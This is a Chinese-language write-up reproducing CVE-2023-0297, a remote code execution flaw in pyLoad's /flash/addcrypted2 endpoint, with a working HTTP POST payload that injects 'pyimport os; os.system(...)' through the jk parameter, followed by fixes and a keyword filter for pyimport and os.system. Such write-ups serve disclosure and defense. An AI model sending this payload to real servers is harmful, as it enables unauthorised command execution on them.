漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

漏洞信息

漏洞原理

  • 在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。
  • 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。
  • 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里要注意对 crypted 参数有要求:要对 crypted 参数做 base64 解码,所以长度要为 24 bit 的整数倍且不包含空格。

漏洞环境搭建以及复现

环境

  • Kali Linux
  • pyload 0.5.0b3.dev30

复现

payload

POST /flash/addcrypted2 HTTP/1.1
Host: <target host>:9666
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa

执行

在传入 payload 前,文件系统中不存在 /tmp/1 文件,在攻击后,执行了 touch /tmp/1 命令,再次查看时发现文件已经被创建,即我们传入的命令已经被执行。

修复

升级至 0.5.0b3.dev31 及以上版本

禁用 pyimport 功能

js2py.disable_pyimport()

流量过滤

关键字:jk 参数中 pyimport, os.system 等系统命令

热门相关:首席的独宠新娘   法医王妃不好当!   朕是红颜祸水   招待外卖员   特工重生:快穿全能女神